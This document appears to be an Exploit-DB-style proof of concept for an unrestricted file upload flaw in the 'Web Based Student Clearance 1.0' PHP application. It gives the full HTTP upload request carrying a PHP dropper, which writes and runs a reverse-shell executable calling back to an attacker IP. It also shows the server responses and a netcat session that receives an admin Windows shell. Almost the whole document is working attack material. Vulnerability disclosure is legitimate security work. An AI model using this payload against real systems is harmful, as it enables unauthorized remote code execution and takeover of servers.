# Exploit Title: Web Based Student Clearance 1.0 - Unrestricted File Upload leads to Remote Code Execution (Authenticated) # Date: 08-10-2022 # Exploit Author: Akash Pandey ( L3V1ATH0N ) # Vendor Homepage: https://www.sourcecodester.com/php/15627/web-based-student-clearance-system.html # Software Link: https://www.sourcecodester.com/download-code?nid=15627&title=Web-Based+Student+Clearance+System+in+PHP+Free+Source+Code # Version: v1.0 # Tested on: Windows, XAMPP, Kali Linux # CVE : ----- POC ----- Note : The reverse shell below is for Windows based PHP reverse shell. If the target host is using Linux then the Linux based PHP reverse shell must be used. --------------- Request : URL - http://localhost/student_clearance_system_Aurthur_Javis/student_clearance_system_Aurthur_Javis/edit-photo.php ========= POST /student_clearance_system_Aurthur_Javis/student_clearance_system_Aurthur_Javis/edit-photo.php HTTP/1.1 Host: 192.168.1.12 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------71268058833541201443517047173 Content-Length: 6864 Origin: http://192.168.1.12 Connection: close Referer: http://192.168.1.12/student_clearance_system_Aurthur_Javis/student_clearance_system_Aurthur_Javis/edit-photo.php Cookie: PHPSESSID=9rnst2bfmbtrgapqsalerlrdjm Upgrade-Insecure-Requests: 1 -----------------------------71268058833541201443517047173 Content-Disposition: form-data; name="userImage"; filename="shell.php" Content-Type: application/x-php <?php header('Content-type: text/plain'); $ip = "192.168.1.26"; //change this $port = "80"; //change this $payload = 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$evalCode = gzinflate(base64_decode($payload)); $evalArguments = " ".$port." ".$ip; $tmpdir ="C:\\windows\\temp"; chdir($tmpdir); $res .= "Using dir : ".$tmpdir; $filename = "D3fa1t_shell.exe"; $file = fopen($filename, 'wb'); fwrite($file, $evalCode); fclose($file); $path = $filename; $cmd = $path.$evalArguments; $res .= "\n\nExecuting : ".$cmd."\n"; echo $res; $output = system($cmd); ?> -----------------------------71268058833541201443517047173 Content-Disposition: form-data; name="btnedit" -----------------------------71268058833541201443517047173-- ========================================= End of Request ========================================= Response: ======== HTTP/1.1 302 Found Date: Sat, 08 Oct 2022 09:30:51 GMT Server: Apache/2.4.54 (Win64) OpenSSL/1.1.1p PHP/7.4.30 X-Powered-By: PHP/7.4.30 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Location: edit-photo.php Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 8575 ======================================== End of Response ======================================== The Reverse Shell is located at below URL ----------------------------------------- Request: URL - http://localhost/student_clearance_system_Aurthur_Javis/student_clearance_system_Aurthur_Javis/uploads/shell.php ======== GET /student_clearance_system_Aurthur_Javis/student_clearance_system_Aurthur_Javis/uploads/shell.php HTTP/1.1 Host: 192.168.1.12 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: image/webp,*/* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Referer: http://192.168.1.12/student_clearance_system_Aurthur_Javis/student_clearance_system_Aurthur_Javis/edit-photo.php Cookie: PHPSESSID=9rnst2bfmbtrgapqsalerlrdjm ======================================== End of Request ======================================== Response: ========= HTTP/1.1 200 OK Date: Sat, 08 Oct 2022 09:32:16 GMT Server: Apache/2.4.54 (Win64) OpenSSL/1.1.1p PHP/7.4.30 X-Powered-By: PHP/7.4.30 Content-Length: 268 Connection: close Content-Type: text/plain;charset=UTF-8 <br /> <b>Notice</b>: Undefined variable: res in <b>C:\xampp\htdocs\student_clearance_system_Aurthur_Javis\student_clearance_system_Aurthur_Javis\uploads\shell.php</b> on line <b>12</b><br /> Using dir : C:\windows\temp Executing : D3fa1t_shell.exe 80 192.168.1.26 ======================================== End of Response ======================================== After uploading the reverse shell file you will get the reverse shell normally. If you don't get reverse shell then locate to 'uploads' folder. Reverse Shell Remotely: ====================== ┌──(kali㉿kali)-[~] └─$ rlwrap nc -lvnp 80 listening on [any] 80 ... connect to [192.168.1.26] from (UNKNOWN) [192.168.1.12] 65168 b374k shell : connected Microsoft Windows [Version 10.0.19043.2006] (c) Microsoft Corporation. All rights reserved. whoami whoami l3v1ath0n\admin C:\Windows\Temp>